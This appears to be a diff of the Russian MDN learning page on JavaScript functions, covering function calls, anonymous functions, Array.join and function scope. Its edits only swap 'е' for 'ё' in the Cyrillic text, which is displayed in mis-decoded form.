<code>draw()</code>, которая выглядит так:</p>
<pre class="brush: js notranslate">function draw() {
ctx.clearRect(0,0,WIDTH,HEIGHT);
@@ -107,7 +107,7 @@ console.log(madeAString);
<h2 id="Π’Ρ‹Π·ΠΎΠ²_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ">Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</h2>
-<p>Π‘ΠΊΠΎΡ€Π΅Π΅ всСго, Π²Ρ‹ ΡƒΠΆΠ΅ поняли это, Π½ΠΎ Π½Π° всякий случай ... Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½Π° Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Π΅. Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Π΅ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΈΠΌΠ΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΊΠΎΠ΄ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ скобки.</p>
+<p>Π‘ΠΊΠΎΡ€Π΅Π΅ всСго, Π²Ρ‹ ΡƒΠΆΠ΅ поняли это, Π½ΠΎ Π½Π° всякий случай ... Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½Π° Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π΅Ρ‘. Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΈΠΌΠ΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΊΠΎΠ΄ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ скобки.</p>
<pre class="brush: js notranslate">function myFunction() {
alert('ΠΏΡ€ΠΈΠ²Π΅Ρ‚');
@@ -118,7 +118,7 @@ myFunction()
<h2 id="БСзымянныС_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">БСзымянныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h2>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ нСсколькими Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ способами. Π”ΠΎ этого ΠΌΡ‹ создавали Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‚Π°ΠΊΠΈΠΌ способом:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ нСсколькими Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ способами. Π”ΠΎ этого ΠΌΡ‹ создавали Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‚Π°ΠΊΠΈΠΌ способом:</p>
<pre class="brush: js notranslate">function myFunction() {
alert('ΠΏΡ€ΠΈΠ²Π΅Ρ‚');
@@ -138,7 +138,7 @@ myButton.onclick = function() {
alert('ΠΏΡ€ΠΈΠ²Π΅Ρ‚');
}</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ трСбуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° страницС Π±Ρ‹Π» элСмСнт {{htmlelement ("button")}} (ΠΊΠ½ΠΎΠΏΠΊΠ°), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡŒ. Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ‚Π°ΠΊΡƒΡŽ структуру нСсколько Ρ€Π°Π· Π½Π° протяТСнии всСго курса, ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Π½Π΅ΠΉΒ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ трСбуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° страницС Π±Ρ‹Π» элСмСнт {{htmlelement ("button")}} (ΠΊΠ½ΠΎΠΏΠΊΠ°), ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡŒ. Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ‚Π°ΠΊΡƒΡŽ структуру нСсколько Ρ€Π°Π· Π½Π° протяТСнии всСго курса, ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Π½Π΅ΠΉΒ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -200,21 +200,21 @@ var newString = myText.replace('строка', 'сосиска');</pre>
<pre class="brush: js notranslate">var myArray = ['Π―', 'люблю', 'ΡˆΠΎΠΊΠΎΠ»Π°Π΄Π½Ρ‹Ρ…', 'Π»ΡΠ³ΡƒΡˆΠ΅ΠΊ'];
var madeAString = myArray.join(' ');
-// Π’Π΅Ρ€Π½Π΅Ρ‚ 'Π― люблю ΡˆΠΎΠΊΠΎΠ»Π°Π΄Π½Ρ‹Ρ… Π»ΡΠ³ΡƒΡˆΠ΅ΠΊ'
+// Π’Π΅Ρ€Π½Ρ‘Ρ‚ 'Π― люблю ΡˆΠΎΠΊΠΎΠ»Π°Π΄Π½Ρ‹Ρ… Π»ΡΠ³ΡƒΡˆΠ΅ΠΊ'
var madeAString = myArray.join();
-// Π’Π΅Ρ€Π½Π΅Ρ‚ 'Π―,люблю,ΡˆΠΎΠΊΠΎΠ»Π°Π΄Π½Ρ‹Ρ…,Π»ΡΠ³ΡƒΡˆΠ΅ΠΊ'</pre>
+// Π’Π΅Ρ€Π½Ρ‘Ρ‚ 'Π―,люблю,ΡˆΠΎΠΊΠΎΠ»Π°Π΄Π½Ρ‹Ρ…,Π»ΡΠ³ΡƒΡˆΠ΅ΠΊ'</pre>
<p>Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ для символа соСдинСния / разграничСния, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ запятая.</p>
<h2 id="ΠžΠ±Π»Π°ΡΡ‚ΡŒ_видимости_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_ΠΈ_ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹">ΠžΠ±Π»Π°ΡΡ‚ΡŒ видимости Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ {{glossary("scope")}} - ΠΎΡ‡Π΅Π½ΡŒ ваТная концСпция ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с функциями. Когда Π²Ρ‹ создаСтС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, находятся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ <strong>области (scope)</strong>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π·Π°ΠΏΠ΅Ρ€Ρ‚Ρ‹ Π² своих ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… отсСках, нСдоступных ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ»ΠΈ ΠΈΠ· ΠΊΠΎΠ΄Π° Π²Π½Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ {{glossary("scope")}} - ΠΎΡ‡Π΅Π½ΡŒ ваТная концСпция ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с функциями. Когда Π²Ρ‹ создаётС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, находятся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ <strong>области (scope)</strong>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π·Π°ΠΏΠ΅Ρ€Ρ‚Ρ‹ Π² своих ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… отсСках, нСдоступных ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ»ΠΈ ΠΈΠ· ΠΊΠΎΠ΄Π° Π²Π½Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
-<p>Π’Π΅Ρ€Ρ…Π½ΠΈΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ всСх Π²Π°ΡˆΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ называСтся <strong>глобальной ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ (global scope)</strong>. ЗначСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² глобальном ΠΌΠ°ΡΡˆΡ‚Π°Π±Π΅, доступны ΠΈΠ·Π²Π½Π΅ Π² ΠΊΠΎΠ΄Π΅.</p>
+<p>Π’Π΅Ρ€Ρ…Π½ΠΈΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ всСх Π²Π°ΡˆΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ называСтся <strong>глобальной ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ (global scope)</strong>. ЗначСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² глобальном ΠΌΠ°ΡΡˆΡ‚Π°Π±Π΅, доступны ΠΈΠ·Π²Π½Π΅ Π² ΠΊΠΎΠ΄Π΅.</p>
<p>JavaScript настроСн Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎ Ρ€Π°Π·Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ - Π½ΠΎ Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈΠ·-Π·Π° бСзопасности ΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ. Иногда Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ‹Π»ΠΈ доступны ΠΈΠ·Π²Π½Π΅ Π² ΠΊΠΎΠ΄Π΅ - внСшниС скрипты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π»ΠΈ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… источников, ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с вашим ΠΊΠΎΠ΄ΠΎΠΌ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ части ΠΊΠΎΠ΄Π° , вызывая ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΈΠ»ΠΈ просто случайно.</p>
-<p>НапримСр, скаТСм, Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ» HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вызываСтся Π² Π΄Π²ΡƒΡ… Π²Π½Π΅ΡˆΠ½ΠΈΡ… Ρ„Π°ΠΉΠ»Π°Ρ… JavaScript, ΠΈ ΠΎΠ±Π° ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя:</p>
+<p>НапримСр, скаТСм, Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ» HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ вызываСтся Π² Π΄Π²ΡƒΡ… Π²Π½Π΅ΡˆΠ½ΠΈΡ… Ρ„Π°ΠΉΠ»Π°Ρ… JavaScript, ΠΈ ΠΎΠ±Π° ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя:</p>
<pre class="brush: html notranslate">&lt;!-- Excerpt from my HTML --&gt;
&lt;script src="first.js"&gt;&lt;/script&gt;
@@ -235,7 +235,7 @@ function greeting() {
alert('Our company is called ' + name + '.');
}</pre>
-<p>ОбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <code>greeting()</code>, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>greeting()</code> Ρ„Π°ΠΉΠ»Π° <code>first.js</code> (функция Ρ„Π°ΠΉΠ»Π° <code>second.js</code> игнорируСтся). ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>name</code> Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π· Ρ‡Π΅Ρ€Π΅Π· <code>let</code> Π² Ρ„Π°ΠΉΠ»Π΅ <code>second.js</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС.</p>
+<p>ОбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <code>greeting()</code>, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>greeting()</code> Ρ„Π°ΠΉΠ»Π° <code>first.js</code> (функция Ρ„Π°ΠΉΠ»Π° <code>second.js</code> игнорируСтся). ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>name</code> Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π· Ρ‡Π΅Ρ€Π΅Π· <code>let</code> Π² Ρ„Π°ΠΉΠ»Π΅ <code>second.js</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ <a href="https://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">Live Π½Π° GitHub</a> (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="/ru/docs/https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">исходный ΠΊΠΎΠ΄</a>).</p>
@@ -263,7 +263,7 @@ function greeting() {
<pre class="brush: js notranslate">output(y);
output(z);</pre>
Оба ΠΈΠ· Π½ΠΈΡ… Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² строкС "<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>". ΠŸΠΎΡ‡Π΅ΠΌΡƒ это? Из-Π·Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ scope - <code>y</code> ΠΈ <code>z</code> Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <code>a() </code>ΠΈ <code>b()</code>, поэтому <code>output()</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΈΠ· глобальной области.</li>
- <li>Однако ΠΊΠ°ΠΊ насчСт Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π²Ρ‹Π·Π²Π°Π½ ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ? ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>a()</code> ΠΈ <code>b()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ выглядСли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
+ <li>Однако ΠΊΠ°ΠΊ насчёт Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π²Ρ‹Π·Π²Π°Π½ ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ? ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>a()</code> ΠΈ <code>b()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ выглядСли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
<pre class="brush: js notranslate">function a() {
var y = 2;
output(y);
@@ -273,11 +273,11 @@ function b() {
var z = 3;
output(z);
}</pre>
- Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΊΠΎΠ΄ ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>a()</code> ΠΈ <code>b()</code> ΠΈΠ· консоли JavaScript:
+ Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΊΠΎΠ΄ ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>a()</code> ΠΈ <code>b()</code> ΠΈΠ· консоли JavaScript:
<pre class="brush: js notranslate">a();
b();</pre>
- Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ значСния y ΠΈ z, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π½Π° страницС. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ функция <code>output() </code>вызываСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ области, Π³Π΄Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½Π° ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС. <code>output()</code> доступСн ΠΈΠ· любого мСста, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² глобальной области.</li>
